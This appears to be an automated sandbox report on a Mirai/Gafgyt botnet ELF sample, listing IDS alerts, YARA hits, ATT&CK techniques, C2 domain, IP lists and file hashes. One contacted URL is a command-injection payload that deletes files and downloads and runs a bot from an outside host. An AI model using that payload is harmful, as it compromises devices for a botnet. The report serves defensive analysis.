Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: 9zldYT23H2.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 9zldYT23H2.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9zldYT23H2.elf PID: 5530, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9zldYT23H2.elf PID: 5534, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9zldYT23H2.elf	71%	ReversingLabs	Linux.Trojan.Mirai
9zldYT23H2.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plutoc2.site	92.249.48.84	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+172.236.29.44/jaws;sh+/tmp/jaws	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://172.236.29.44/bin	9zldYT23H2.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	9zldYT23H2.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	9zldYT23H2.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.35.39.71	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
4.231.226.20	unknown	United States	3356	LEVEL3US	false
123.140.76.160	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
41.163.216.179	unknown	South Africa	36937	Neotel-ASZA	false
202.204.61.48	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
116.123.72.229	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
156.3.253.144	unknown	United States	2920	LACOEUS	false
206.252.129.71	unknown	United States	6650	LOGICWORKS-ASUS	false
165.71.146.248	unknown	United States	29885	UCHHS-ASUS	false
156.216.92.22	unknown	Egypt	8452	TE-ASTE-ASEG	false
101.156.109.102	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
166.229.220.165	unknown	United States	6614	USCC-ASNUS	false
41.76.191.224	unknown	Kenya	37225	NETWIDEZA	false
202.202.80.144	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
77.213.105.166	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
132.211.159.86	unknown	Canada	376	RISQ-ASCA	false
208.112.105.207	unknown	United States	20021	LNH-INCUS	false
41.252.72.4	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
139.227.209.139	unknown	China	17621	CNCGROUP-SHChinaUnicomShanghainetworkCN	false
84.207.13.32	unknown	Germany	13237	LAMBDANET-ASEuropeanBackboneofAS13237DE	false
45.244.195.38	unknown	Egypt	24863	LINKdotNET-ASEG	false
123.58.253.21	unknown	China	133119	UNICOM-CNChinaUnicomIPnetworkCN	false
156.177.182.74	unknown	Egypt	36992	ETISALAT-MISREG	false
156.196.170.141	unknown	Egypt	8452	TE-ASTE-ASEG	false
2.83.183.193	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
41.143.104.49	unknown	Morocco	36903	MT-MPLSMA	false
119.58.194.142	unknown	China	4773	MOBILEONELTD-AS-APMobileOneLtdMobileInternetServicePr	false
148.191.210.192	unknown	United States	42652	DELUNETDE	false
153.130.47.150	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
118.50.89.229	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
42.148.112.171	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
52.195.249.27	unknown	United States	16509	AMAZON-02US	false
41.15.20.17	unknown	South Africa	29975	VODACOM-ZA	false
171.32.81.22	unknown	Sweden	9874	STARHUB-MOBILEStarHubLtdSG	false
117.5.136.67	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
132.227.217.134	unknown	France	1307	FR-U-JUSSIEU-PARISEU	false
54.102.91.83	unknown	United States	16509	AMAZON-02US	false
99.142.211.213	unknown	United States	7018	ATT-INTERNET4US	false
82.143.30.209	unknown	Italy	29449	IP-TELECOM-ASIT	false
88.107.191.104	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
178.225.147.16	unknown	Netherlands	31615	TMO-NL-ASNL	false
174.233.1.22	unknown	United States	22394	CELLCOUS	false
58.18.153.126	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
209.216.39.80	unknown	United States	20021	LNH-INCUS	false
178.180.165.127	unknown	Poland	12912	TMPL	false
146.211.245.120	unknown	Finland	16086	DNAFI	false
60.68.35.225	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
197.205.16.187	unknown	Algeria	36947	ALGTEL-ASDZ	false
31.186.82.2	unknown	Poland	57367	ECO-ATMAN-PLECO-ATMAN-PL	false
5.50.173.7	unknown	France	5410	BOUYGTEL-ISPFR	false
36.168.178.10	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
140.2.155.206	unknown	United States	724	DNIC-ASBLK-00721-00726US	false
139.137.164.5	unknown	United States	22093	CCF-NETWORKUS	false
208.160.45.63	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
5.103.75.233	unknown	Denmark	44869	FIBIA-P-SDK	false
156.34.23.140	unknown	Canada	855	CANET-ASN-4CA	false
77.121.221.145	unknown	Ukraine	25229	VOLIA-ASUA	false
37.69.111.69	unknown	France	15557	LDCOMNETFR	false
220.24.38.206	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
9.189.107.114	unknown	United States	3356	LEVEL3US	false
59.69.242.125	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
5.72.153.252	unknown	Iran (ISLAMIC Republic Of)	57218	RIGHTELIR	false
192.47.33.185	unknown	Japan	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
65.25.203.186	unknown	United States	10796	TWC-10796-MIDWESTUS	false
123.231.4.222	unknown	Sri Lanka	18001	DIALOG-ASDialogAxiataPLCLK	false
150.200.157.113	unknown	United States	2572	MORENETUS	false
85.211.15.180	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
133.1.238.9	unknown	Japan	4730	ODINSOsakaUniversityJP	false
156.125.137.39	unknown	United States	393504	XNSTGCA	false
197.205.16.174	unknown	Algeria	36947	ALGTEL-ASDZ	false
203.140.161.87	unknown	Japan	7511	SYNAPSESYNAPSECoLtdJP	false
158.238.51.14	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
102.9.233.75	unknown	unknown	37069	MOBINILEG	false
66.239.139.228	unknown	United States	2828	XO-AS15US	false
104.156.41.67	unknown	Canada	14201	TELETECHUS	false
117.97.124.200	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
69.245.183.252	unknown	United States	7922	COMCAST-7922US	false
113.242.217.239	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
148.38.184.84	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
135.4.62.136	unknown	United States	10455	LUCENT-CIOUS	false
41.215.11.68	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
129.209.112.137	unknown	United States	25019	SAUDINETSTC-ASSA	false
41.192.59.137	unknown	South Africa	29975	VODACOM-ZA	false
14.2.4.156	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
128.93.97.210	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
60.179.136.234	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
141.180.84.38	unknown	United States	197921	HBTFJO	false
197.20.132.194	unknown	Tunisia	37693	TUNISIANATN	false
123.19.95.183	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
41.140.123.192	unknown	Morocco	36903	MT-MPLSMA	false
2.252.62.51	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
41.113.157.200	unknown	South Africa	16637	MTNNS-ASZA	false
156.13.155.39	unknown	New Zealand	22192	SSHENETUS	false
60.186.65.5	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
95.199.79.107	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
112.81.244.137	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
2.21.254.89	unknown	European Union	34164	AKAMAI-LONGB	false
197.212.239.100	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.97.193.197	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.220.141.78	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.76.191.224	sora.x86.elf	Get hash	malicious	Mirai	Browse
	Nr9IxLHfz7.elf	Get hash	malicious	Mirai	Browse
	DDPWByb8wD	Get hash	malicious	Mirai	Browse
41.163.216.179	d694nfRb7c.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	QvpSy7ZbUh.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	v3tdpepZk9.elf	Get hash	malicious	Mirai	Browse
	sora.x86.elf	Get hash	malicious	Mirai	Browse
202.204.61.48	9E4J0Ms213.elf	Get hash	malicious	Mirai	Browse
208.112.105.207	kjRjJWCDNs.elf	Get hash	malicious	Mirai	Browse
41.252.72.4	5m6jbTvemR.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	91lC01xoJL.elf	Get hash	malicious	Mirai, Moobot	Browse
	WwP82syI4C.elf	Get hash	malicious	Unknown	Browse
	LT3PftxFsP	Get hash	malicious	Mirai	Browse
	apep.arm7	Get hash	malicious	Mirai	Browse
156.3.253.144	RFmGY1E7ZA	Get hash	malicious	Mirai	Browse
156.3.253.144	apep.arm7	Get hash	malicious	Mirai	Browse
165.71.146.248	ATAv9VVyoV.elf	Get hash	malicious	Mirai	Browse
	root	Get hash	malicious	Mirai	Browse
	xQVWucLl9H	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plutoc2.site	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	VDRitLeYgi.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.248.138.112
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	104.248.138.112
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.248.138.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROSTELECOM-ASRU	VysS7K9PPz.elf	Get hash	malicious	Mirai	Browse	92.126.3.199
	connector1.exe	Get hash	malicious	Metasploit	Browse	89.204.90.65
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.220.162.200
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	95.188.243.246
	na.elf	Get hash	malicious	Mirai	Browse	94.78.230.74
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	95.72.81.43
	na.elf	Get hash	malicious	Mirai	Browse	87.119.229.250
	na.elf	Get hash	malicious	Mirai	Browse	212.164.223.181
	na.elf	Get hash	malicious	Mirai	Browse	95.53.226.244
	HqvlYZC7Gf.exe	Get hash	malicious	Unknown	Browse	188.114.42.197
Neotel-ASZA	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.164.24.130
	PnjGB63sit.elf	Get hash	malicious	Mirai	Browse	41.169.103.226
	siU9XhyR5f.elf	Get hash	malicious	Mirai	Browse	41.169.198.166
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.169.198.171
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.173.148.68
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.162.186.189
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	41.169.13.64
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.167.147.156
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	41.172.232.90
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	41.171.231.139
LEVEL3US	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	9.252.21.74
	VysS7K9PPz.elf	Get hash	malicious	Mirai	Browse	9.28.127.244
	PnjGB63sit.elf	Get hash	malicious	Mirai	Browse	4.37.121.226
	siU9XhyR5f.elf	Get hash	malicious	Mirai	Browse	9.221.26.136
	na.elf	Get hash	malicious	Mirai	Browse	8.232.159.243
	na.elf	Get hash	malicious	Mirai	Browse	6.89.139.35
	na.elf	Get hash	malicious	Mirai	Browse	6.18.79.80
	na.elf	Get hash	malicious	Mirai	Browse	4.204.225.140
	na.elf	Get hash	malicious	Mirai	Browse	6.162.122.232
	na.elf	Get hash	malicious	Mirai	Browse	11.35.156.161
LGDACOMLGDACOMCorporationKR	llZnKf40fR.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.132
	na.elf	Get hash	malicious	Mirai	Browse	1.217.52.214
	na.elf	Get hash	malicious	Mirai	Browse	58.72.143.63
	8W7ebD0bBT.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.132
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	123.143.23.81
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	118.131.190.16
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	106.246.137.49
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	211.32.65.250
	file.exe	Get hash	malicious	SmokeLoader	Browse	125.7.253.10
	uSE8AyujGn.elf	Get hash	malicious	Mirai	Browse	210.219.31.16

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.2028252947858515
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	9zldYT23H2.elf
File size:	85'760 bytes
MD5:	6d07b38655f1d3f7d5ede931c3dcbfd8
SHA1:	92e4e28336efa8b205a159ae902336f7bffb609e
SHA256:	495d59285906fe0c06807773d13148b4bbf2d059b577fdef3ed6dbfb846adcc7
SHA512:	b567d37d265fa2bb82be08c220370ad8f2952387988ccf25e226eabd5004542aaa045270aba11b92b0d2743f37237582e46540c45489c71eca6d491f91a5d750
SSDEEP:	1536:F3895MZScqibhrs0MiJ55vghqk58tQDukWD6Ykg+3U:syg62mohktQDuHtku
TLSH:	83836B25B97A2E16C0E4A07F42B78319B2F6274E24B8C75DBD710F4EFF186902417A76
File Content Preview:	.ELF...........................4..Mp.....4. ...(......................J...J...............J...J...J....l............dt.Q................................@..(....@.K.................#.....a0..`.....!....."...@.....".........`......$"..."...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	85360
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x12fa4	0x0	0x6	AX	4
